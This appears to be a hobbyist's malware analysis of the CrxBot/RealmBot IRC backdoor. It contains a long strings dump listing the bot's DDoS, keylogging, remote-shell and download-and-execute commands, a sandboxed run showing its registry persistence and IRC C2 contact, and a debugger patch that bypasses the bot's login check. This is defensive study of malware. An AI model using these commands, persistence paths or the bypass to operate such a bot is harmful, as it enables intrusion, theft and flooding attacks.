. Process list.
full
RealmBoT (processes.p.l.g) .
. Already running.
RealmBoT (irc.p.l.g) .
. Uptime: %s.
[REALMBOT] << Remote shell ready. >>
[REALMBOT] << Couldn't open remote shell. >>
[REALMBOT] << Remote shell already running. >>
RealmBoT (irc.p.l.g) .
. Get Clipboard.
-[Clipboard Data]-
RealmBoT (flushdns.p.l.g) .
. Failed to flush ARP cache.
RealmBoT (flushdns.p.l.g) .
. ARP cache flushed.
RealmBoT (flushdns.p.l.g) .
. Failed to load dnsapi.dll.
RealmBoT (flushdns.p.l.g) .
. Failed to flush DNS cache.
RealmBoT (flushdns.p.l.g) .
. DNS cache flushed.
[REALMBOT] << Failed to start server thread, error: <%d>. >>
[REALMBOT] << Server listening on IP: %s:%d, Directory: %s\ . >>
[REALMBOT] : Server already started.
[REALMBOT] : Failed to start server, error: <%d>.
[REALMBOT-FTP] : Server started on Port: %d, File: %s, Request: %s.
RealmBoT (irc.p.l.g) .
. Nick changed to: '%s'.
RealmBoT (irc.p.l.g) .
. Joined channel: '%s'.
RealmBoT (irc.p.l.g) .
. Parted channel: '%s'.
RealmBoT (irc.p.l.g) .
. IRC Raw: %s.
RealmBoT(threads.p.l.g) .
. Failed to kill thread: %s.
RealmBoT (threads.p.l.g) .
. Killed thread: %s.
RealmBoT (threads.p.l.g) .
. No active threads found.
RealmBoT (threads.p.l.g) .
. Stopped: %d thread(s).
all
QUIT :later
[REALMBOT] << Prefix changed to: '%c' >>
.15,14nzm .2.. .15(shell.2..15mod) .2
.15 Couldn't open file: %s
.15,14nzm .2.. .15(shell.2..15mod) .2
.15 File opened: %s
RealmBoT(irc.p.l.g) .
. Server changed to: '%s'.
[REALMBOT] << Couldn't resolve hostname. >>
```

```
[REALMBOT] << Lookup: %s -> %s. >>
[REALMBOT] << Failed to terminate process: %s >>
[REALMBOT] << Process killed: %s >>
[REALMBOT] << Failed to terminate process ID: %s >>
[REALMBOT] << Process killed ID: %s >>
[REALMBOT] << Deleted '%s' >>
RealmBoT (file.p.l.g) .
. List: %s
RealmBoT(mirc.p.l.g) .
. Command sent.
RealmBoT (mirc.p.l.g) .
. Client not open.
RealmBoT (cmd.p.l.g) .
. Commands: %s
[REALMBOT] << Error sending to remote shell >>
[REALMBOT] << Read file failed: %s >>
[REALMBOT] << Read file complete: %s >>
RealmBoT (keylog.p.l.g) .
. Unknow mode type.
RealmBoT (keylog.p.l.g) .
. Failed to start logging thread, error: <%d>.
RealmBoT (keylog.p.l.g) .
. Normal key logger active.
normal
RealmBoT (keylog.p.l.g) .
. Pay sites key logger active.
pay
RealmBoT (keylog.p.l.g) .
. Already running.
RealmBoT (keylog.p.l.g) .
Keylog
RealmBoT (irc.p.l.g) .
. Gethost: %s.
RealmBoT (irc.p.l.g) .
. Unable to extract Gethost command.
RealmBoT (irc.p.l.g) .
. Gethost: %s, Command: %s
RealmBoT (irc.p.l.g) .
. Alias added: %s.
RealmBoT (irc.p.l.g) .
. Privmsg: %s: %s.
RealmBoT (irc.p.l.g) .
. Action: %s: %s.
RealmBoT (irc.p.l.g) .
. Cycle.
PART %s
RealmBoT (irc.p.l.g) .
. Mode change: %s
MODE %s
RealmBoT (clones.p.l.g) .
. Raw (%s): %s
RealmBoT (clones.p.l.g) .
. Mode (%s): %s
MODE %s
RealmBoT (clones.p.l.g) .
. Nick (%s): %s
NICK %s
JOIN %s %s
```

```
PART %s
RealmBoT (irc.p.l.g) .
. Repeat not allowed in command line: %s
RealmBoT (irc.p.l.g) .
. Repeat: %s
repeat
RealmBoT (irc.p.l.g) .
. Delay.
%s %s %s :%s
[REALMBOT] : Bot ID must be different than current running process.
[REALMBOT] << Failed to start download thread, error: <%d> >>
[REALMBOT] << Downloading update from: %s >>
%s%s.exe
RealmBoT (exec.p.l.g) .
. Commands: %s
RealmBoT (exec.p.l.g) .
. Couldn't execute file.
RealmBoT (file.p.l.g) .
RealmBoT(file.p.l.g) .
. Rename: '%s' to: '%s'.
[REALMBOT] << Failed to start clone thread, error: <%d> >>
[REALMBOT] << Created clones on %s:%d, in channel %s >>
RealmBoT (ddos.p.l.g) .
. Failed to start flood thread, error: <%d>.
[REALMBOT-SYN] << Attacking: (%s:%s) for %s seconds >>
RealmBoT (download.p.l.g) .
. Failed to start transfer thread, error: <%d>.
[REALMBOT] << Downloading URL: %s to: %s >>
RealmBoT (redirect.p.l.g) .
. Failed to start redirection thread, error: <%d>.
RealmBoT (redirect.p.l.g) .
. TCP redirect created from: %s:%d to: %s:%d.
[%s] <%s> %s
[%s] * %s %s
ACTION %s
[REALMBOT] Failed to start scan thread, error: <%d>.
[REALMBOT] %s Exploitation started on %s:%d waiting %d seconds for %d minutes using %d
threads.
Sequential
Random
[REALMBOT] Failed to start scan, no IP specified.
[REALMBOT] : Failed to start scan, port is invalid.
[REALMBOT] << Already %d scanning threads. Too many specified >>
[REALMBOT] << Failed to start flood thread, error: <%d> >>
[REALMBOT-UDPFLOOD] << Sending %d packets to: %s. Packet size: %d, Delay: %d(ms) >>
ICMP.dll not available
[REALMBOT-PING] : Failed to start flood thread, error: <%d>.
[REALMBOT-PING] : Sending %d pings to %s. packet size: %d, timeout: %d(ms).
RealmBoT (ftp.p.l.g) .
. Uploading file: %s to: %s failed.
RealmBoT (ftp.p.l.g) .
. Uploading file: %s to: %s
ftp.exe
-s:%s
open %s
put %s
bye
%s\%i%i%i.dll
```

```
RealmBoT (ftp.p.l.g) .  
. File not found: %s.  
ftp.upload  
util.hcon  
httpcon  
ddos.pingf  
pingflood  
ddos.udpf  
udpflood  
asc  
advscan  
clone.ac  
clone.action  
clone.pm  
clone.privmsg  
daemon.rd  
redirect  
ddos.random  
ddos.ack  
synflood  
clone.start  
clone.make  
com.mv  
rename  
com.e  
execute  
update  
irc.de  
delay  
irc.rp  
irc.repeat  
clone.p  
clone.part  
clone.j  
clone.join  
clone.ni  
clone.nick  
clone.m  
clone.mode  
clone.ra  
rawclone  
irc.m  
irc.cy  
cycle  
irc.ac  
irc.pm  
privmsg  
irc.aa  
addalias  
irc.gh  
gethost  
RealmBoT (net.p.l.g) .  
. Command unknown.  
RealmBoT (net.p.l.g) .  
. No message specified.  
RealmBoT (net.p.l.g) .  
. User list failed.  
RealmBoT (net.p.l.g) .
```

```
. User list completed.
user
RealmBoT (net.p.l.g) .
. Share list failed.
RealmBoT (net.p.l.g) .
. Share list completed.
share
pause
RealmBoT (net.p.l.g) .
. Service list failed.
RealmBoT (net.p.l.g) .
. Service list completed.
RealmBoT (net.p.l.g) .
. Failed to load advapi32.dll or netapi32.dll.
stop
cmd.kl.on
keylog.on
com.rf
readfile
cmd
mirc.cmd
com.fl
list
del
delete
pkid
prockillid
kpc
killprocess
irc.dn
dns
irc.se
setserver
com.o
irc.pr
prefix
clone.rn
clone.rndnick
clone.q
clone.quit
killt
killthreads
irc.ra
raw
irc.pt
part
irc.j
join
irc.n
irc.nick
d.ftpd.on
ftpd.on
web.on
httpd.on
cip
currentip
util.fdns
flushdns
```

```
farp
flusharp
com.gc
getclip
RealmBoT (irc.p.l.g) .
. Login list complete.
<Empty>
-[Login List]-
irc.who
[CMD]
Remote shell
closecmd
cmdl
opencmd
com.dll
testdlls
com.driv
driveinfo
com.up
uptime
com.ps
proc.on
remove
sysinfo
RealmBoT (supersyn.p.l.g) .
. Failed to start flood thread, error: <%d>.
RealmBoT (supersyn.p.l.g) .
. Flooding: (%s:%s) for %s seconds.
supersyn
netinfo
clg
clearlog
irc.lg
log
irc.al
threads.l
threads
RealmBoT (irc.p.l.g) .
. Failed to reboot system.
RealmBoT (irc.p.l.g) .
. Rebooting system.
reboot
irc.i
irc.s
status
irc.q
quit
irc.d
disconnect
irc.r
reconnect
stats
Exploitation
Scan
scanstop
.s.ecur.e...
Secure
secure.stop
```

.c.lone.s...  
Clone  
clone.off  
com.ps.off  
proc.off  
.p.in.g...  
Ping flood  
ping.off  
.u.d.p...  
UDP flood  
udp.off  
.s.y.n...  
Syn flood  
syn.off  
.d.do.s...  
DDoS flood  
ddos.off  
.r.edirec.t...  
TCP redirect  
proxy.redirect.off  
.l.o.g...  
Log list  
log.off  
[REALMBOT] :  
ftpd.off  
.h.ttp.d...  
Server  
web.off  
irc.v  
visit  
ld.off  
lockdown.off  
sec  
secure  
VNC: HTTP Host Changed To: %s  
chghhttp  
ver  
versionship  
irc.di  
die  
rndnick  
\$chr(  
\$server  
\$rndnick  
\$chan  
\$user  
\$me  
\$%d  
\$%d-  
NOTICE %s :  
PING %s  
PING  
%s has just versioned me.  
NOTICE %s :  
VERSION %s  
VERSION  
332  
NOTICE

PRIVMSG  
RealmBoT (irc.p.l.g) .  
. User: %s logged out.  
RealmBoT (irc.p.l.g) .  
. Joined channel: %s.  
353  
QUIT  
PART  
:%s%s  
NICK  
NOTICE %s :%s  
[REALMBOT] << User %s logged out. >>  
KICK  
NICK %s  
433  
302  
005  
001  
MODE %s +mnst  
topic %s :%s  
JOIN %s %s  
PONG %s  
PING  
%d. %s = %s  
-[Alias List]-  
[%d-%d-%d %d:%d:%d] %s  
RealmBoT (logs.p.l.g) .  
. Cleared.  
RealmBoT (log.p.l.g) .  
. List complete.  
RealmBoT (log.p.l.g) .  
. Begin  
RealmBoT (download.p.l.g) .  
. Bad URL, or DNS Error: %s.  
RealmBoT (download.p.l.g) .  
. Update failed: Error executing file: %s.  
RealmBoT (download.p.l.g) .  
. Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.  
RealmBoT (download.p.l.g) .  
. Opened: %s.  
RealmBoT (download.p.l.g) .  
. Downloaded %.1f KB to %s @ %.1f KB/sec.  
RealmBoT (download.p.l.g) .  
. CRC Failed (%d != %d).  
RealmBoT (download.p.l.g) .  
. Filesize is incorrect: (%d != %d).  
RealmBoT (download.p.l.g) .  
. Update: %s (%dKB transferred).  
RealmBoT (download.p.l.g) .  
. File download: %s (%dKB transferred).  
RealmBoT (download.p.l.g) .  
. Couldn't open file: %s.  
.t.rn(01a) [net.m.d.l] .  
. %s: No service specified.  
.t.rn(01a) [net.m.d.l] .  
. Error with service: '%s'. %s  
.t.rn(01a) [net.m.d.l] .  
. %s service: '%s'.

An unknown error occurred: <%ld>  
The system is shutting down.  
The service has not been started.  
The requested control code cannot be sent to the service because the state of the service.  
The service has been marked for deletion.  
The service could not be logged on. The account does not have the correct access rights.  
The specified service does not exist.  
The service has been disabled.  
The service depends on another service that has failed to start.  
The service depends on a service that does not exist or has been marked for deletion.  
The specified database does not exist.  
An instance of the service is already running.  
The requested control code is not valid, or it is unacceptable to the service.  
The process for the service was started, but it did not call StartServiceCtrlDispatcher.  
A thread could not be created for the service.  
The database is locked.  
The service cannot be stopped because other running services are dependent on it.  
The service binary file could not be found.  
The handle does not have the required access right.  
The handle is invalid.  
The requested control code is undefined.  
The specified service name is invalid.

%s: %s (%s)  
Stopped  
Starting  
Stopping  
Running  
Continuing  
Pausing  
Paused  
Unknown

The following Windows services are registered:

.t.rn(01a) [net.m.d.l] .  
. %s: No share specified.  
.t.rn(01a) [net.m.d.l] .  
. %s share: '%s'.  
.t.rn(01a) [net.m.d.l] .  
. %s: Error with share: '%s'. %s  
%-14S %-24S %-6u %-4s

Yes

.t.rn(01a) [net.m.d.l] .  
. Share list error: %s <%ld>

Share name:      Resource:                              Uses:      Desc:

.t.rn(01a) [net.m.d.l] .  
. %s: No username specified.  
.t.rn(01a) [net.m.d.l] .  
. %s: Error with username: '%s'. %s  
.t.rn(01a) [net.m.d.l] .  
. %s username: '%s'.  
.t.rn(01a) [net.m.d.l] .  
. User info error: <%ld>

Units Per Week: %d  
Max. Storage: %d  
User's Language: %d  
Country Code: %d  
Workstations: %S  
Logon Server: %S

Last Logoff: %d  
Last Logon: %d  
Number of Logins: %d  
Bad Password Count: %d  
Password Age: %d  
Parameters: %S  
Home Directory: %S  
Auth Flags: %d  
Privilege Level: %s  
Guest  
User  
Comment: %S  
User Comment: %S  
Full Name: %S  
Account: %S  
Total users found: %d.  
.t.rn(01a) [net.m.d.l] .  
. An access violation has occurred.  
%S  
.t.rn(01a) [net.m.d.l] .  
. User list error: %s <%ld>  
Username accounts for local system:  
Network connection not found.  
The user name could not be found.  
Share not found.  
The computer name is invalid.  
An unknown error occurred.  
The password is shorter than required (or does not meet the password policy requirement.)  
The group already exists.  
The user account already exists.  
The operation is allowed only on the primary domain controller of the domain.  
A general failure occurred in the network hardware.  
Level parameter is invalid.  
Device or directory does not exist.  
Invalid for redirected resource.  
Duplicate share name.  
The name is invalid.  
Access denied.  
Not enough memory.  
This network request is not supported.  
Server name not found.  
Invalid parameter.  
.t.rn(01a) [net.m.d.l] .  
. %s <Server: %S> <Message: %S>  
.t.rn(01a) [net.m.d.l] .  
. Message sent successfully.  
%s (%d)  
SeDebugPrivilege  
RealmBoT (processes.p.l.g) .  
. Process list failed.  
RealmBoT (processes.p.l.g) .  
. Process list completed.  
RealmBoT (processes.p.l.g) .  
. Listing processes:  
RealmBoT (secure.p.l.g) .  
. Netapi32.dll couldn't be loaded.  
RealmBoT (secure.p.l.g) .

```
. Network shares deleted.
RealmBoT (secure.p.l.g) .
. Failed to delete '%S' share.
RealmBoT (secure.p.l.g) .
. Share '%S' deleted.
RealmBoT (secure.p.l.g) .
. Failed to delete '%s' share.
RealmBoT (secure.p.l.g) .
. Share '%s' deleted.
RealmBoT (secure.p.l.g) .
. Advapi32.dll couldn't be loaded.
RealmBoT (secure.p.l.g) .
. Failed to open IPC$ Restriction registry key.
RealmBoT (secure.p.l.g) .
. Restricted access to the IPC$ Share.
RealmBoT (secure.p.l.g) .
. Failed to restrict access to the IPC$ Share.
restrictanonymous
RealmBoT (secure.p.l.g) .
. Failed to open DCOM registry key.
RealmBoT (secure.p.l.g) .
. DCOM disabled.
RealmBoT (secure.p.l.g) .
. Disable DCOM failed.
EnabledDCOM
RealmBoT (secure.p.l.g) .
. Network shares added.
%c:\
%c$
RealmBoT (secure.p.l.g) .
. Failed to add '%s' share.
RealmBoT (secure.p.l.g) .
. Share '%s' added.
RealmBoT (secure.p.l.g) .
. Failed to open IPC$ restriction registry key.
RealmBoT (secure.p.l.g) .
. Unrestricted access to the IPC$ Share.
RealmBoT (secure.p.l.g) .
. Failed to unrestrict access to the IPC$ Share.
RealmBoT (secure.p.l.g) .
. DCOM enabled.
RealmBoT (secure.p.l.g) .
. Enable DCOM failed.
.%s.
. (Return) (%s)
.%s.
. (Return)
.%s.
. (Buffer full) (%s)
.%s.
. (Buffer full)
.%s.
. (Changed Windows: %s)
.%s.
221 Goodbye happy r00ting.
425 Can't open data connection.
[REALMBOT-FTP] %s, port:%d now executing %s on remote machine.
226 Transfer complete.
```

150 Opening BINARY mode data connection  
RETR  
200 PORT command successful.  
%s.%s.%s.%s  
%x%x  
%\*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^,  
PORT  
226 Transfer complete  
LIST  
425 Passive not supported on this server  
PASV  
200 Type set to I.  
200 Type set to A.  
TYPE  
257 "/" is current directory.  
PWD  
350 Restarting.  
REST  
215 NzmxFtpd  
SYST  
230 User logged in.  
PASS  
331 Password required  
220 TxmxFtpd Owns j0  
RealmBoT (httpd.p.l.g) .  
. Error: server failed, returned: <%d>.  
GET  
HTTP/1.0 200 OK  
Server: myBot  
Cache-Control: no-cache,no-store,max-age=0  
pragma: no-cache  
Content-Type: %s  
Content-Length: %i  
Accept-Ranges: bytes  
Date: %s %s GMT  
Last-Modified: %s %s GMT  
Expires: %s %s GMT  
Connection: close  
HTTP/1.0 200 OK  
Server: myBot  
Cache-Control: no-cache,no-store,max-age=0  
pragma: no-cache  
Content-Type: %s  
Accept-Ranges: bytes  
Date: %s %s GMT  
Last-Modified: %s %s GMT  
Expires: %s %s GMT  
Connection: close  
ddd, dd MMM yyyy  
application/octet-stream  
text/html  
RealmBoT (httpd.p.l.g) .  
. Failed to start worker thread, error: <%d>.  
RealmBoT (httpd.p.l.g) .  
. Worker thread of server thread: %d.  
\%s  
Found: %i Files and %i Directories  
<TR>

```
<TD COLSPAN="3"><HR></TD>
</TR>
</TABLE>
</BODY>
</HTML>
PRIVMSG %s :Found %s Files and %s Directories
%-31s %-21s (%i bytes)
</TD>
<TD WIDTH="%d"><CODE>%s</CODE></TD>
<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>
</TR>
"><CODE>%s</CODE></A>
"><CODE>%.30s<code>&gt;</CODE></A>
PRIVMSG %s :%-31s %-21s (%s bytes)
%-31s %-21s
</TD>
<TD WIDTH="%d"><CODE>%s</CODE></TD>
<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>
</TR>
"><CODE>%s</CODE></A>
"><CODE>%.29s<code>&gt;</CODE></A>
%s%s/
<TR>
<TD WIDTH="%d"><A HREF="
PRIVMSG %s :%-31s %-21s
<%s>
%2.2d/%2.2d/%4d %2.2d:%2.2d %s
<TR>
<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></TD>
</TR>
Searching for: %s
<TR>
<TD COLSPAN="3"><HR></TD>
</TR>
<TR>
<TD WIDTH="%d"><CODE>Name</CODE></TD>
<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>
<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>
</TR>
<H1>Index of %s</H1>
<TABLE BORDER="0">
<HTML>
<HEAD>
<TITLE>Index of %s</TITLE>
</HEAD>
<BODY>
PRIVMSG %s :Searching for: %s
%s %s HTTP/1.1
Referer: %s
Host: %s
Connection: close
RealmBoT (redirect.p.l.g) .
. Failed to start client thread, error: <%d>.
RealmBoT (redirect.p.l.g) .
. Client connection from IP: %s:%d, Server thread: %d.
RealmBoT (redirect.p.l.g) .
. Failed to start connection thread, error: <%d>.
RealmBoT (redirect.p.l.g) .
```

```
. Client connection to IP: %s:%d, Server thread: %d.
PRIVMSG %s :%s
RealmBoT (cmd.p.l.g) .
. Could not read data from process.
RealmBoT (cmd.p.l.g) .
. Process has terminated.
RealmBoT (cmd.p.l.g) .
. Could not read data from process
RealmBoT (cmd.p.l.g) .
. Failed to start IO thread, error: <%d>.
RealmBoT (cmd.p.l.g) .
. Remote Command Prompt
cmd.exe
RealmBoT (ddos.p.l.g) .
. Done with flood (%iKB/sec).
RealmBoT (ddos.p.l.g) .
. Send error: <%d>.
ddos.syn
[REALMBOT] << Failed to connect to HTTP server >>
[REALMBOT] << Could not open a connection >>
[REALMBOT] << Invalid URL >>
[REALMBOT] << Failed to get requested URL from HTTP server >>
[REALMBOT] << URL visited >>
*/
RealmBoT (ping.p.l.g) .
. Finished sending pings to %s.
RealmBoT (ping.p.l.g) .
. Error sending pings to %s.
RealmBoT (udp.p.l.g) .
. Finished sending packets to %s.
RealmBoT (udp.p.l.g) .
. Error sending pings to %s.
[SUPERSYN]: Done with flood (%iKB/sec)
%s %s :%s
t5x
urlmon.dll
C:\U.exe

[...snip...]

vnc
VNC
Total: %d in %s.
%s: %d,
RealmBoT (portscan.p
g)
Exploit Statistics:
RealmBoT(portscan.p
g)
Scan not active.
RealmBoT (portscan.p
g)
Current IP: %s.
RealmBoT (httpd.p
g)
Failed to start server, error: <%d>.
RealmBoT (httpd.p
g)
```

```
Server listening on IP: %s:%d, Directory: %s\  
RealmBoT (ftp.p  
g)  
Failed to start server, error: <%d>.  
RealmBoT (portscan.p  
g)  
IP: %s, Port %d is open.  
RealmBoT (portscan.p  
g)  
IP: %s:%d, Scan thread: %d, Sub-thread: %d.  
RealmBoT (portscan.p  
g)  
Finished at %s:%d after %d minute(s) of scanning.  
RealmBoT (portscan.p  
g)  
Failed to start worker thread, error: <%d>.  
RealmBoT (portscan.p  
g)  
%s:%d, Scan thread: %d, Sub-thread: %d.  
RealmBoT (portscan.p  
g)  
Failed to initialize critical section.  
RFB 003.00g)  
Finished at %s:%d after %d minute(s) of scanning.  
RealmBoT (portscan.p  
g)  
Failed to start worker thread, error: <%d>.  
RealmBoT (portscan.p  
g)  
%s:%d, Scan thread: %d, Sub-thread: %d.  
RealmBoT (portscan.p  
g)  
Failed to initialize critical section.  
RFB 003.0088
```

[...snip...]

Wow. A lot of it.

OK. Some clues came out during reading of the strings from malware.exe.

0x1. Looks like some kind of feedback for an attacker - info about hacked box:

```
[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]: %s total, %s free.
```

```
[OS]: Windows %s (%d.%d,
```

```
Build %d). [Sysdir]: %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:
```

```
%s. [Uptime]: %s.
```

0x2. a.bat - tweaking some registry settings

0x3. Crxbot/RealmBot

Crxbot Alias REalmbot -by Lindem-

Some googling revealed this is a keylogger for Ebay, PayPal or so written by Lindem. Posted on ryan1918.com forum on Tue Aug 01, 2006. Source code primarily put on rapidshare.de but no longer there.

From the forum it seems the control channel is via IRC and commands are prefixed by '.'

Possible commands:

```
addalias, advscan, asc, chghttp, cip, clearlog, clg, Clone, clone.ac, clone.action,  
clone.j, clone.join, clone.m, clone.make, clone.mode, clone.ni, clone.nick, clone.off,  
clone.p, clone.part, clone.pm, clone.privmsg, clone.q, clone.quit, clone.ra, clone.rn,
```

clone.rndnick, clone.start, closecmd, cmd, cmd1, cmd.kl.on, com.dll, com.driv, com.e, com.fl, com.gc, com.mv, com.o, com.ps, com.ps.off, com.rf, com.up, currentip, cycle, daemon.rd, ddos.ack, ddos.off, ddos.pingf, ddos.random, ddos.udpf, del, delay, delete, d.ftpd.on, die, disconnect, dns, driveinfo, execute, farp, flusharp, flushdns, ftpd.off, ftpd.on, ftp.upload, getclip, gethost, httpcon, httpd.on, irc.aa, irc.ac, irc.al, irc.cy, irc.d, irc.de, irc.di, irc.dn, irc.gh, irc.i, irc.j, irc.lg, irc.m, irc.n, irc.nick, irc.pm, irc.pr, irc.pt, irc.q, irc.r, irc.ra, irc.repeat, irc.rp, irc.s, irc.se, irc.v, irc.who, join, keylog.on, killprocess, killt, killthreads, kpc, ld.off, list, lockdown.off, log, log.off, mirc.cmd, netinfo, opencmd, part, pause, pingflood, ping.off, pkid, prefix, privmsg, prockillid, proc.off, proc.on, proxy.redirect.off, quit, raw, rawclone, readfile, reboot, reconnect, redirect, remove, rename, rndnick, Scan, scanstop, sec, secure, Secure, secure.stop, Server, setserver, share, stats, status, stop, supersyn, synflood, syn.off, sysinfo, testdlls, threads, threads.l, udpflood, udp.off, update, uptime, user, util.fdns, util.hcon, ver, versionship, visit, web.off, web.on.

#challenge - seems to be a default channel name

These services are probably related to keylogger:

e-gold, PayPal, StormPay, WorldPay, Fotolog.net, Terra - Fotolog, Yahoo!, Welcome to Gmail, MercadoLivre Brasil

Some interesting websites:

<http://www.W32-gen.us> (-National Virus Site-)

<http://www.Nivdav.net/Winsec32.exe>

The first one is alive, but responds with "Please Refer to Access... Thanks!!! contact: -----" message. This page is returned from <http://alumnoz.com/users/worm/>.

Using archive.org we can check if there are any old webpages. The WayBackMachine has only 1 page from Mar 01, 2007 (check <http://web.archive.org/web/20070301141708/http://www.w32-gen.us/>).

The second website is not alive any more.

0x4. Some autostart registry locations:

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\RunServices

Software\Microsoft\OLE

0x5. \*@legalize.it - dono

OK. Time to sum it up.

It seems this malware is a kind of trojan/backdoor with keylogging capabilities. It uses autorun registry keys as well as some services? The control channel is based on IRC server and it gives the attacker complete control over the infected machine.

He/she can execute any command at Bot priviledges level, keylog, scan, ddos, download/upload files using ftpd/http, and restart the box.

Quite nice toolbox...

:: Time for running the malware.

I've used sysinternals tools (procmmon, regmon, filemon) for tracing purposes. Internet access is denied (network detached, network interface disabled).

When running malware without administrator priviledges, malware tries to copy itself in a few system directories, queries and updates some registry keys (Access\_denied) and starts malware.exe as a service, which queries HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableAutodial every 30s (loop ?).

Running malware.exe with admin privs makes a lot more things around.

0x1. Malware.exe starts: PPID: 1976, PID: 1676, TID: 1884

0x2. First it creates a file in: C:\WINDOWS\Prefetch\MALWARE.EXE-1F116C78.pf  
0x3. Then queries a system to load appropriate DLLs.  
0x4. New thread created: ID 1344  
0x5. Malware.exe Creates file: C:\WINDOWS\Winsec32.exe  
0x6. Malware.exe starts a process: PID: 204, CMD: C:\WINDOWS\Winsec32.exe 300  
"E:\analysis\malware.exe", TID: 228  
0x7. Winsec32.exe creates file: C:\WINDOWS\Prefetch\WINSEC32.EXE-090839CD.pf  
0x8. Winsec32.exe creates regkeys:  
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Svchost local services = (REG\_SZ) Winsec32.exe  
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\Microsoft Svchost local services = (REG\_SZ) Winsec32.exe  
HKCU\Software\Microsoft\OLE\Microsoft Svchost local services = (REG\_SZ) Winsec32.exe

After this Winsec32.exe queries HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableAutodial every 30s. It seems it probes network access.

Running winsec32.exe with network access (local) - WireShark listener on local network device:

0x1. Winsec32.exe loads some DLLs responsible for networking (mswsock.dll, hnetcfg.dll, wshtcpip.dll, etc.)  
0x2. Tries to connect to testirc1.sh1xy2bg.NET. This address was previously seen in strings dump.

OK. Lets point testirc1.sh1xy2bg.NET to localhost (via windows\system32\drivers\etc\hosts). It tries to connect to port 6667 (IRC server).

Now we redirect this traffic to another machine with IRC server listening on port 6667/tcp.

Yes. CrxBot connected to my fake IRC server ! Great.

After playing around with different commands it appeared that I dont have control over the bot. I dont have any experience with IRC bots so it started to be more difficult and interesting.

I've observed that setting channel topic to some of the commands (for example .ver) caused each bot connecting to the channel to execute that particular command. So it was a partial success. I needed to know exactly how to control these nasty bastards ;]

I've tried to attach OllyDBG to the Winsec32.exe process and breakpoint every recv() occurrence but it wasn't a good idea. I'm not (yet) too much experienced in disassembling and had no too much time (you can call me lazy ;) , so I had to think out some other solution.

After googling and reading about IRC bot technology I've noticed the .login command. It seems (quite logical) that the attacker has to authenticate to the bot before any control can be taken over. That was a step further.

The .login command takes two args: .login <user> <pass>

It seems I have to guess the right credentials.

Each unsuccessful login attempt ended up with the following error message:

```
[msg(POL[XP]1432459)] .login happy12 #challenge
-POL[XP]1432459(~eluylribl@192.168.111.129)- Are you a Fucker?. (happy12!
happy12@192.168.111.1).
-POL[XP]1432459(~eluylribl@192.168.111.129)- No pass for you.
```

But when logging with gemp123 loginname the error was different:

```
[msg(POL[XP]4356953)] .login gemp123 happy12
-POL[XP]4356953(~fibgmwa@192.168.111.129)- WTF!? no yet fucker!. (0xbaddead_!
0xbaddead@192.168.111.1).
-POL[XP]4356953(~fibgmwa@192.168.111.129)- Orders: No Talk with you.
[msg(POL[XP]4356953)] .login gemp123 gemp123
-POL[XP]4356953(~fibgmwa@192.168.111.129)- WTF!? no yet fucker!. (0xbaddead_!
0xbaddead@192.168.111.1).
-POL[XP]4356953(~fibgmwa@192.168.111.129)- Orders: No Talk with you.
```

So now I knew the gemp123 is the right username. Trying about 10 different passwords I decided to get

back to OllyDBG.

Now I had "WTF!" substring to look for in the memory of the process. This can lead me to the right place. After setting a HW breakpoint on memory access and sending bad? credentials Olly froze. The call stack shew a couple of called and calling procedures so next I had to dig into every one from the call stack list. It appeared the call from Winsec32.00408a9f was the right one. Looking around in the a bit long function I found the JNZ at 00408a7c. A call before it checks if the authenticating user is from legalize.it domain.

```
00408A61      |.^ \E9 98E1FFFF      JMP Winsec32.00406BFE
00408A66      |> 895D 2C             MOV [ARG.10],EBX
00408A69      |> 8B45 2C             /MOV EAX,[ARG.10]
00408A6C      |. 57                 |PUSH EDI
00408A6D      |. FFB0 B0C84100      |PUSH DWORD PTR DS:[EAX+41C8B0]      ; /Arg1
= 00423418 ASCII "@legalize.it"
00408A73      |. E8 AB230000        |CALL Winsec32.0040AE23      ;
\Winsec32.0040AE23
00408A78      |. 59                 |POP ECX      ;
0012E9BC
00408A79      |. 85C0               |TEST EAX,EAX
00408A7B      |. 59                 |POP ECX      ;
0012E9BC
00408A7C      |. 75 43              JNZ SHORT Winsec32.00408AC1
00408A7E      |. 8345 2C 04         |ADD [ARG.10],4
00408A82      |. 837D 2C 04         |CMP [ARG.10],4
00408A86      |.^ 72 E1             \JB SHORT Winsec32.00408A69
00408A88      |. 8D85 38FFFFFF      LEA EAX,[LOCAL.50]
```

So there were two possible solutions:

0x1. To tweak something with /etc/hosts and auth to point my local address to legalize.it

0x2. Change JNZ to JMP to jump always.

I've picked up the latter (did I say I'm lazy?). Changed code of Winsec32.exe is listed below:

```
00408A61      |.^ \E9 98E1FFFF      JMP Winsec32.00406BFE
00408A66      |> 895D 2C             MOV [ARG.10],EBX
00408A69      |> 8B45 2C             /MOV EAX,[ARG.10]
00408A6C      |. 57                 |PUSH EDI
00408A6D      |. FFB0 B0C84100      |PUSH DWORD PTR DS:[EAX+41C8B0]      ; /Arg1
= 00423418 ASCII "@legalize.it"
00408A73      |. E8 AB230000        |CALL Winsec32.0040AE23      ;
\Winsec32.0040AE23
00408A78      |. 59                 |POP ECX      ;
0012E9C0
00408A79      |. 85C0               |TEST EAX,EAX
00408A7B      |. 59                 |POP ECX      ;
0012E9C0
00408A7C      |. EB 43              JMP SHORT Winsec32.00408AC1
00408A7E      |. 8345 2C 04         |ADD [ARG.10],4
00408A82      |. 837D 2C 04         |CMP [ARG.10],4
00408A86      |.^ 72 E1             \JB SHORT Winsec32.00408A69
00408A88      |. 8D85 38FFFFFF      LEA EAX,[LOCAL.50]
```

Now, logging to bot:

```
[msg(POL[XP]6617203)] .login gemp123
[POL[XP]6617203(~pbieqsqqh@192.168.111.129)] [REALMBOT] : Thank for trying.
```

It appeared I didnt need any password! Great!

Now I had complete control over bot! At last! ;]

